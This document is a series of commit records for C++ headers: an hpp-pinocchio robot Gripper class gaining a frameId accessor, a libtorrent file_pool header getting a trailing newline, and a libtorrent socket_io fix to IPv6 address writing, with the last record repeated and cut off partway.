\/\/\/ Definition of a robot gripper\n \/\/\/\n \/\/\/ This class represent a robot gripper as a frame attached to the joint\n \/\/\/ of the robot that holds the gripper.\n \/\/\/\n \/\/\/ \\image html figures\/figure-gripper.png\n \/\/\/\n \/\/\/ To graps a box-shaped object with small lengths along x and y, the\n \/\/\/ gripper frame should coincide with the object frame.\n class HPP_MODEL_DLLAPI Gripper\n {\n public:\n \/\/\/ Return a shared pointer to new instance\n \/\/\/ \\param joint joint of the robot that will hold handles,\n \/\/\/ \\param objectPositionInJoint object position in the the grasping\n \/\/\/ joint.\n static GripperPtr_t create (const std::string& name,\n const DevicePtr_t& device);\n {\n Gripper* ptr = new Gripper (name, device);\n GripperPtr_t shPtr (ptr);\n ptr->init (shPtr);\n return shPtr;\n }\n\n \/\/\/ Get joint that grip\n const JointPtr_t& joint () const\n {\n return joint_;\n }\n\n \/\/\/ Get handle position in the the Grippering joint\n const Transform3f& objectPositionInJoint () const\n {\n return device_->model()->getFramePlacement(fid_);\n }\n \/\/\/get name\n const std::string& name () const\n {\n return name_;\n }\n\n \/\/\/ Get the clearance\n \/\/\/\n \/\/\/ The clearance is a distance, from the center of the gripper and along\n \/\/\/ the x-aixs, that \"ensures\" an object being at that distance is not\n \/\/\/ colliding with this gripper.\n \/\/\/ It also gives an order of magnitude of the size of the gripper.\n value_type clearance () const\n {\n return clearance_;\n }\n\n \/\/\/ Set the clearance\n \/\/\/ \\sa clearance()\n void clearance (const value_type& clearance)\n {\n clearance_ = clearance;\n }\n\n GripperPtr_t clone () const;\n\n virtual std::ostream& print (std::ostream& os) const;\n\n protected:\n \/\/\/ Constructor\n \/\/\/ \\param name of the gripper in the device,\n \/\/\/ \\param device\n \/\/\/ \\todo device should be of type DeviceConstPtr_t but the constructor of\n \/\/\/ JointPtr_t needs a DevicePtr_t.\n Gripper (const std::string& name, const DevicePtr_t& device) :\n name_ (name),\n device_ (device),\n clearance_ (0)\n {\n fid_ = device->model()->getFrameId (name);\n joint_ = JointPtr_t (\n new Joint(device, device->model()->getFrameParent (fid)));\n }\n\n void init (GripperWkPtr_t weakPtr)\n {\n weakPtr_ = weakPtr;\n }\n\n private:\n std::string name_;\n DeviceConstPtr_t device_;\n \/\/\/ Joint of the robot that holds handles.\n JointPtr_t joint_;\n se3::FrameIndex fid_;\n \/\/\/ Clearance\n value_type clearance_;\n \/\/\/ Weak pointer to itself\n GripperWkPtr_t weakPtr_;\n }; \/\/ class Gripper\n std::ostream& operator<< (std::ostream& os, const Gripper& gripper);\n } \/\/ namespace model\n} \/\/ namespace hpp\n\n#endif \/\/ HPP_PINOCCHIO_GRIPPER_HH\n<commit_msg>Add Gripper::frameId<commit_after>\/\/\n\/\/ Copyright (c) 2016 CNRS\n\/\/ Authors: Joseph Mirabel from Florent Lamiraux\n\/\/\n\/\/\n\/\/ This file is part of hpp-pinocchio.\n\/\/ hpp-pinocchio is free software: you can redistribute it\n\/\/ and\/or modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation, either version\n\/\/ 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ hpp-pinocchio is distributed in the hope that it will be\n\/\/ useful, but WITHOUT ANY WARRANTY; without even the implied warranty\n\/\/ of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ General Lesser Public License for more details. You should have\n\/\/ received a copy of the GNU Lesser General Public License along with\n\/\/ hpp-pinocchio. If not, see\n\/\/ <http:\/\/www.gnu.org\/licenses\/>.\n\n#ifndef HPP_PINOCCHIO_GRIPPER_HH\n# define HPP_PINOCCHIO_GRIPPER_HH\n\n# include <hpp\/model\/fwd.hh>\n# include <hpp\/model\/joint.hh>\n\nnamespace hpp {\n namespace model {\n \/\/\/ Definition of a robot gripper\n \/\/\/\n \/\/\/ This class represent a robot gripper as a frame attached to the joint\n \/\/\/ of the robot that holds the gripper.\n \/\/\/\n \/\/\/ \\image html figures\/figure-gripper.png\n \/\/\/\n \/\/\/ To graps a box-shaped object with small lengths along x and y, the\n \/\/\/ gripper frame should coincide with the object frame.\n class HPP_MODEL_DLLAPI Gripper\n {\n public:\n \/\/\/ Return a shared pointer to new instance\n \/\/\/ \\param joint joint of the robot that will hold handles,\n \/\/\/ \\param objectPositionInJoint object position in the the grasping\n \/\/\/ joint.\n static GripperPtr_t create (const std::string& name,\n const DevicePtr_t& device);\n {\n Gripper* ptr = new Gripper (name, device);\n GripperPtr_t shPtr (ptr);\n ptr->init (shPtr);\n return shPtr;\n }\n\n \/\/\/ Get joint to which the gripper is attached\n const JointPtr_t& joint () const\n {\n return joint_;\n }\n\n \/\/\/ Get the frame Id of the gripper in the vector of frame of the Model\n const se3::FrameIndex& frameId () const\n {\n return fid_;\n }\n\n \/\/\/ Get handle position in the the Grippering joint\n const Transform3f& objectPositionInJoint () const\n {\n return device_->model()->getFramePlacement(fid_);\n }\n \/\/\/get name\n const std::string& name () const\n {\n return name_;\n }\n\n \/\/\/ Get the clearance\n \/\/\/\n \/\/\/ The clearance is a distance, from the center of the gripper and along\n \/\/\/ the x-aixs, that \"ensures\" an object being at that distance is not\n \/\/\/ colliding with this gripper.\n \/\/\/ It also gives an order of magnitude of the size of the gripper.\n value_type clearance () const\n {\n return clearance_;\n }\n\n \/\/\/ Set the clearance\n \/\/\/ \\sa clearance()\n void clearance (const value_type& clearance)\n {\n clearance_ = clearance;\n }\n\n GripperPtr_t clone () const;\n\n virtual std::ostream& print (std::ostream& os) const;\n\n protected:\n \/\/\/ Constructor\n \/\/\/ \\param name of the gripper in the device,\n \/\/\/ \\param device\n \/\/\/ \\todo device should be of type DeviceConstPtr_t but the constructor of\n \/\/\/ JointPtr_t needs a DevicePtr_t.\n Gripper (const std::string& name, const DevicePtr_t& device) :\n name_ (name),\n device_ (device),\n clearance_ (0)\n {\n fid_ = device->model()->getFrameId (name);\n joint_ = JointPtr_t (\n new Joint(device, device->model()->getFrameParent (fid)));\n }\n\n void init (GripperWkPtr_t weakPtr)\n {\n weakPtr_ = weakPtr;\n }\n\n private:\n std::string name_;\n DeviceConstPtr_t device_;\n \/\/\/ Joint of the robot that holds handles.\n JointPtr_t joint_;\n se3::FrameIndex fid_;\n \/\/\/ Clearance\n value_type clearance_;\n \/\/\/ Weak pointer to itself\n GripperWkPtr_t weakPtr_;\n }; \/\/ class Gripper\n std::ostream& operator<< (std::ostream& os, const Gripper& gripper);\n } \/\/ namespace model\n} \/\/ namespace hpp\n\n#endif \/\/ HPP_PINOCCHIO_GRIPPER_HH\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2006, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_FILE_POOL_HPP\n#define TORRENT_FILE_POOL_HPP\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/filesystem\/path.hpp>\n#include <boost\/date_time\/posix_time\/posix_time_types.hpp>\n#include <boost\/multi_index_container.hpp>\n#include <boost\/multi_index\/member.hpp>\n#include <boost\/multi_index\/ordered_index.hpp>\n#include <boost\/shared_ptr.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include \"libtorrent\/file.hpp\"\n\nnamespace libtorrent\n{\n\n\tusing boost::multi_index::multi_index_container;\n\tusing boost::multi_index::ordered_non_unique;\n\tusing boost::multi_index::ordered_unique;\n\tusing boost::multi_index::indexed_by;\n\tusing boost::multi_index::member;\n\tnamespace pt = boost::posix_time;\n\tnamespace fs = boost::filesystem;\n\n\tstruct TORRENT_EXPORT file_pool : boost::noncopyable\n\t{\n\t\tfile_pool(int size = 40): m_size(size) {}\n\n\t\tboost::shared_ptr<file> open_file(void* st, fs::path const& p, file::open_mode m);\n\t\tvoid release(void* st);\n\t\tvoid resize(int size);\n\n\tprivate:\n\t\tint m_size;\n\n\t\tstruct lru_file_entry\n\t\t{\n\t\t\tlru_file_entry(boost::shared_ptr<file> const& f)\n\t\t\t\t: file_ptr(f)\n\t\t\t\t, last_use(pt::second_clock::universal_time()) {}\n\t\t\tmutable boost::shared_ptr<file> file_ptr;\n\t\t\tfs::path file_path;\n\t\t\tvoid* key;\n\t\t\tpt::ptime last_use;\n\t\t\tfile::open_mode mode;\n\t\t};\n\n\t\ttypedef multi_index_container<\n\t\t\tlru_file_entry, indexed_by<\n\t\t\t\tordered_unique<member<lru_file_entry, fs::path\n\t\t\t\t\t, &lru_file_entry::file_path> >\n\t\t\t\t, ordered_non_unique<member<lru_file_entry, pt::ptime\n\t\t\t\t\t, &lru_file_entry::last_use> >\n\t\t\t\t, ordered_non_unique<member<lru_file_entry, void*\n\t\t\t\t\t, &lru_file_entry::key> >\n\t\t\t\t> \n\t\t\t> file_set;\n\t\t\n\t\tfile_set m_files;\n\t};\n}\n\n#endif<commit_msg>added missing newline at the end of file<commit_after>\/*\n\nCopyright (c) 2006, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_FILE_POOL_HPP\n#define TORRENT_FILE_POOL_HPP\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/filesystem\/path.hpp>\n#include <boost\/date_time\/posix_time\/posix_time_types.hpp>\n#include <boost\/multi_index_container.hpp>\n#include <boost\/multi_index\/member.hpp>\n#include <boost\/multi_index\/ordered_index.hpp>\n#include <boost\/shared_ptr.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include \"libtorrent\/file.hpp\"\n\nnamespace libtorrent\n{\n\n\tusing boost::multi_index::multi_index_container;\n\tusing boost::multi_index::ordered_non_unique;\n\tusing boost::multi_index::ordered_unique;\n\tusing boost::multi_index::indexed_by;\n\tusing boost::multi_index::member;\n\tnamespace pt = boost::posix_time;\n\tnamespace fs = boost::filesystem;\n\n\tstruct TORRENT_EXPORT file_pool : boost::noncopyable\n\t{\n\t\tfile_pool(int size = 40): m_size(size) {}\n\n\t\tboost::shared_ptr<file> open_file(void* st, fs::path const& p, file::open_mode m);\n\t\tvoid release(void* st);\n\t\tvoid resize(int size);\n\n\tprivate:\n\t\tint m_size;\n\n\t\tstruct lru_file_entry\n\t\t{\n\t\t\tlru_file_entry(boost::shared_ptr<file> const& f)\n\t\t\t\t: file_ptr(f)\n\t\t\t\t, last_use(pt::second_clock::universal_time()) {}\n\t\t\tmutable boost::shared_ptr<file> file_ptr;\n\t\t\tfs::path file_path;\n\t\t\tvoid* key;\n\t\t\tpt::ptime last_use;\n\t\t\tfile::open_mode mode;\n\t\t};\n\n\t\ttypedef multi_index_container<\n\t\t\tlru_file_entry, indexed_by<\n\t\t\t\tordered_unique<member<lru_file_entry, fs::path\n\t\t\t\t\t, &lru_file_entry::file_path> >\n\t\t\t\t, ordered_non_unique<member<lru_file_entry, pt::ptime\n\t\t\t\t\t, &lru_file_entry::last_use> >\n\t\t\t\t, ordered_non_unique<member<lru_file_entry, void*\n\t\t\t\t\t, &lru_file_entry::key> >\n\t\t\t\t> \n\t\t\t> file_set;\n\t\t\n\t\tfile_set m_files;\n\t};\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2009, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_SOCKET_IO_HPP_INCLUDED\n#define TORRENT_SOCKET_IO_HPP_INCLUDED\n\n#include \"libtorrent\/socket.hpp\"\n#include \"libtorrent\/address.hpp\"\n#include \"libtorrent\/io.hpp\"\n#include \"libtorrent\/error_code.hpp\"\n#include \"libtorrent\/lazy_entry.hpp\"\n#include <string>\n\nnamespace libtorrent\n{\n\tTORRENT_EXPORT std::string print_address(address const& addr);\n\tTORRENT_EXPORT std::string print_endpoint(tcp::endpoint const& ep);\n\tTORRENT_EXPORT std::string print_endpoint(udp::endpoint const& ep);\n\n\tnamespace detail\n\t{\n\t\ttemplate<class OutIt>\n\t\tvoid write_address(address const& a, OutIt& out)\n\t\t{\n#if TORRENT_USE_IPV6\n\t\t\tif (a.is_v4())\n\t\t\t{\n#endif\n\t\t\t\twrite_uint32(a.to_v4().to_ulong(), out);\n#if TORRENT_USE_IPV6\n\t\t\t}\n\t\t\telse if (a.is_v6())\n\t\t\t{\n\t\t\t\taddress_v6::bytes_type bytes\n\t\t\t\t\t= a.to_v6().to_bytes();\n\t\t\t\tstd::copy(bytes.begin(), bytes.end(), out);\n\t\t\t}\n#endif\n\t\t}\n\n\t\ttemplate<class InIt>\n\t\taddress read_v4_address(InIt& in)\n\t\t{\n\t\t\tunsigned long ip = read_uint32(in);\n\t\t\treturn address_v4(ip);\n\t\t}\n\n#if TORRENT_USE_IPV6\n\t\ttemplate<class InIt>\n\t\taddress read_v6_address(InIt& in)\n\t\t{\n\t\t\ttypedef address_v6::bytes_type bytes_t;\n\t\t\tbytes_t bytes;\n\t\t\tfor (bytes_t::iterator i = bytes.begin()\n\t\t\t\t, end(bytes.end()); i != end; ++i)\n\t\t\t\t*i = read_uint8(in);\n\t\t\treturn address_v6(bytes);\n\t\t}\n#endif\n\n\t\ttemplate<class Endpoint, class OutIt>\n\t\tvoid write_endpoint(Endpoint const& e, OutIt& out)\n\t\t{\n\t\t\twrite_address(e.address(), out);\n\t\t\twrite_uint16(e.port(), out);\n\t\t}\n\n\t\ttemplate<class Endpoint, class InIt>\n\t\tEndpoint read_v4_endpoint(InIt& in)\n\t\t{\n\t\t\taddress addr = read_v4_address(in);\n\t\t\tint port = read_uint16(in);\n\t\t\treturn Endpoint(addr, port);\n\t\t}\n\n#if TORRENT_USE_IPV6\n\t\ttemplate<class Endpoint, class InIt>\n\t\tEndpoint read_v6_endpoint(InIt& in)\n\t\t{\n\t\t\taddress addr = read_v6_address(in);\n\t\t\tint port = read_uint16(in);\n\t\t\treturn Endpoint(addr, port);\n\t\t}\n#endif\n\n\t\ttemplate <class EndpointType>\n\t\tvoid read_endpoint_list(libtorrent::lazy_entry const* n, std::vector<EndpointType>& epl)\n\t\t{\n\t\t\tusing namespace libtorrent;\n\t\t\tif (n->type() != lazy_entry::list_t) return;\n\t\t\tfor (int i = 0; i < n->list_size(); ++i)\n\t\t\t{\n\t\t\t\tlazy_entry const* e = n->list_at(i);\n\t\t\t\tif (e->type() != lazy_entry::string_t) return;\n\t\t\t\tif (e->string_length() < 6) continue;\n\t\t\t\tchar const* in = e->string_ptr();\n\t\t\t\tif (e->string_length() == 6)\n\t\t\t\t\tepl.push_back(read_v4_endpoint<EndpointType>(in));\n#if TORRENT_USE_IPV6\n\t\t\t\telse if (e->string_length() == 18)\n\t\t\t\t\tepl.push_back(read_v6_endpoint<EndpointType>(in));\n#endif\n\t\t\t}\n\t\t}\n\n\t}\n\n\n}\n\n#endif\n\n<commit_msg>fixed bug in write_address<commit_after>\/*\n\nCopyright (c) 2009, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_SOCKET_IO_HPP_INCLUDED\n#define TORRENT_SOCKET_IO_HPP_INCLUDED\n\n#include \"libtorrent\/socket.hpp\"\n#include \"libtorrent\/address.hpp\"\n#include \"libtorrent\/io.hpp\"\n#include \"libtorrent\/error_code.hpp\"\n#include \"libtorrent\/lazy_entry.hpp\"\n#include <string>\n\nnamespace libtorrent\n{\n\tTORRENT_EXPORT std::string print_address(address const& addr);\n\tTORRENT_EXPORT std::string print_endpoint(tcp::endpoint const& ep);\n\tTORRENT_EXPORT std::string print_endpoint(udp::endpoint const& ep);\n\n\tnamespace detail\n\t{\n\t\ttemplate<class OutIt>\n\t\tvoid write_address(address const& a, OutIt& out)\n\t\t{\n#if TORRENT_USE_IPV6\n\t\t\tif (a.is_v4())\n\t\t\t{\n#endif\n\t\t\t\twrite_uint32(a.to_v4().to_ulong(), out);\n#if TORRENT_USE_IPV6\n\t\t\t}\n\t\t\telse if (a.is_v6())\n\t\t\t{\n\t\t\t\ttypedef address_v6::bytes_type bytes_t;\n\t\t\t\tbytes_t bytes = a.to_v6().to_bytes();\n\t\t\t\tfor (bytes_t::iterator i = bytes.begin()\n\t\t\t\t\t, end(bytes.end()); i != end; ++i)\n\t\t\t\t\twrite_uint8(*i, out);\n\t\t\t}\n#endif\n\t\t}\n\n\t\ttemplate<class InIt>\n\t\taddress read_v4_address(InIt& in)\n\t\t{\n\t\t\tunsigned long ip = read_uint32(in);\n\t\t\treturn address_v4(ip);\n\t\t}\n\n#if TORRENT_USE_IPV6\n\t\ttemplate<class InIt>\n\t\taddress read_v6_address(InIt& in)\n\t\t{\n\t\t\ttypedef address_v6::bytes_type bytes_t;\n\t\t\tbytes_t bytes;\n\t\t\tfor (bytes_t::iterator i = bytes.begin()\n\t\t\t\t, end(bytes.end()); i != end; ++i)\n\t\t\t\t*i = read_uint8(in);\n\t\t\treturn address_v6(bytes);\n\t\t}\n#endif\n\n\t\ttemplate<class Endpoint, class OutIt>\n\t\tvoid write_endpoint(Endpoint const& e, OutIt& out)\n\t\t{\n\t\t\twrite_address(e.address(), out);\n\t\t\twrite_uint16(e.port(), out);\n\t\t}\n\n\t\ttemplate<class Endpoint, class InIt>\n\t\tEndpoint read_v4_endpoint(InIt& in)\n\t\t{\n\t\t\taddress addr = read_v4_address(in);\n\t\t\tint port = read_uint16(in);\n\t\t\treturn Endpoint(addr, port);\n\t\t}\n\n#if TORRENT_USE_IPV6\n\t\ttemplate<class Endpoint, class InIt>\n\t\tEndpoint read_v6_endpoint(InIt& in)\n\t\t{\n\t\t\taddress addr = read_v6_address(in);\n\t\t\tint port = read_uint16(in);\n\t\t\treturn Endpoint(addr, port);\n\t\t}\n#endif\n\n\t\ttemplate <class EndpointType>\n\t\tvoid read_endpoint_list(libtorrent::lazy_entry const* n, std::vector<EndpointType>& epl)\n\t\t{\n\t\t\tusing namespace libtorrent;\n\t\t\tif (n->type() != lazy_entry::list_t) return;\n\t\t\tfor (int i = 0; i < n->list_size(); ++i)\n\t\t\t{\n\t\t\t\tlazy_entry const* e = n->list_at(i);\n\t\t\t\tif (e->type() != lazy_entry::string_t) return;\n\t\t\t\tif (e->string_length() < 6) continue;\n\t\t\t\tchar const* in = e->string_ptr();\n\t\t\t\tif (e->string_length() == 6)\n\t\t\t\t\tepl.push_back(read_v4_endpoint<EndpointType>(in));\n#if TORRENT_USE_IPV6\n\t\t\t\telse if (e->string_length() == 18)\n\t\t\t\t\tepl.push_back(read_v6_endpoint<EndpointType>(in));\n#endif\n\t\t\t}\n\t\t}\n\n\t}\n\n\n}\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2009, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_SOCKET_IO_HPP_INCLUDED\n#define TORRENT_SOCKET_IO_HPP_INCLUDED\n\n#include \"libtorrent\/socket.hpp\"\n#include \"libtorrent\/address.hpp\"\n#include \"libtorrent\/io.hpp\"\n#include \"libtorrent\/error_code.hpp\"\n#include \"libtorrent\/lazy_entry.hpp\"\n#include <string>\n\nnamespace libtorrent\n{\n\tTORRENT_EXPORT std::string print_address(address const& addr);\n\tTORRENT_EXPORT std::string print_endpoint(tcp::endpoint const& ep);\n\tTORRENT_EXPORT std::string print_endpoint(udp::endpoint const& ep);\n\n\tnamespace detail\n\t{\n\t\ttemplate<class OutIt>\n\t\tvoid write_address(address const& a, OutIt& out)\n\t\t{\n#if TORRENT_USE_IPV6\n\t\t\tif (a.is_v4())\n\t\t\t{\n#endif\n\t\t\t\twrite_uint32(a.to_v4().to_ulong(), out);\n#if TORRENT_USE_IPV6\n\t\t\t}\n\t\t\telse if (a.is_v6())\n\t\t\t{\n\t\t\t\taddress_v6::bytes_type bytes\n\t\t\t\t\t= a.to_v6().to_bytes();\n\t\t\t\tstd::copy(bytes.begin(), bytes.end(), out);\n\t\t\t}\n#endif\n\t\t}\n\n\t\ttemplate<class InIt>\n\t\taddress read_v4_address(InIt& in)\n\t\t{\n\t\t\tunsigned long ip = read_uint32(in);\n\t\t\treturn address_v4(ip);\n\t\t}\n\n#if TORRENT_USE_IPV6\n\t\ttemplate<class InIt>\n\t\taddress read_v6_address(InIt& in)\n\t\t{\n\t\t\ttypedef address_v6::bytes_type bytes_t;\n\t\t\tbytes_t bytes;\n\t\t\tfor (bytes_t::iterator i = bytes.begin()\n\t\t\t\t, end(bytes.end()); i != end; ++i)\n\t\t\t\t*i = read_uint8(in);\n\t\t\treturn address_v6(bytes);\n\t\t}\n#endif\n\n\t\ttemplate<class Endpoint, class OutIt>\n\t\tvoid write_endpoint(Endpoint const& e, OutIt& out)\n\t\t{\n\t\t\twrite_address(e.address(), out);\n\t\t\twrite_uint16(e.port(), out);\n\t\t}\n\n\t\ttemplate<class Endpoint, class InIt>\n\t\tEndpoint read_v4_endpoint(InIt& in)\n\t\t{\n\t\t\taddress addr = read_v4_address(in);\n\t\t\tint port = read_uint16(in);\n\t\t\treturn Endpoint(addr, port);\n\t\t}\n\n#if TORRENT_USE_IPV6\n\t\ttemplate<class Endpoint, class InIt>\n\t\tEndpoint read_v6_endpoint(InIt& in)\n\t\t{\n\t\t\taddress addr = read_v6_address(in);\n\t\t\tint port = read_uint16(in);\n\t\t\treturn Endpoint(addr, port);\n\t\t}\n#endif\n\n\t\ttemplate <class EndpointType>\n\t\tvoid read_endpoint_list(libtorrent::lazy_entry const* n, std::vector<EndpointType>& epl)\n\t\t{\n\t\t\tusing namespace libtorrent;\n\t\t\tif (n->type() != lazy_entry::list_t) return;\n\t\t\tfor (int i = 0; i < n->list_size(); ++i)\n\t\t\t{\n\t\t\t\tlazy_entry const* e = n->list_at(i);\n\t\t\t\tif (e->type() != lazy_entry::string_t) return;\n\t\t\t\tif (e->string_length() < 6) continue;\n\t\t\t\tchar const* in = e->string_ptr();\n\t\t\t\tif (e->string_length() == 6)\n\t\t\t\t\tepl.push_back(read_v4_endpoint<EndpointType>(in));\n#if TORRENT_USE_IPV6\n\t\t\t\telse if (e->string_length() == 18)\n\t\t\t\t\tepl.push_back(read_v6_endpoint<EndpointType>(in));\n#endif\n\t\t\t}\n\t\t}\n\n\t}\n\n\n}\n\n#endif\n\n<commit_msg>fixed bug in write_address<commit_after>\/*\n\nCopyright (c) 2009, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary 